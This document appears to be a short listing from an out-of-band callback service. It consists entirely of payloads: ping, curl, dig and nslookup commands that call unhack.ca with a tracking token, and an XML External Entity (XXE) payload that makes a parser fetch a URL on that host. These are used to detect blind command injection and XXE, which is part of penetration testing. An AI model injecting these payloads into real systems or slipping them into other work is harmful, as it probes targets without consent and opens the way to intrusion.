$ ping -c1 -p 00ff51ce67d0ebd8306a22dd5481bf00 unhack.ca
$ curl http://unhack.ca/p/ff51ce67d0ebd8306a22dd5481bf
$ dig ff51ce67d0ebd8306a22dd5481bf @unhack.ca
$ dig ff51ce67d0ebd8306a22dd5481bf.ns.unhack.ca
C:\> nslookup ff51ce67d0ebd8306a22dd5481bf unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/ff51ce67d0ebd8306a22dd5481bf">]> <foo>&xxe;</foo>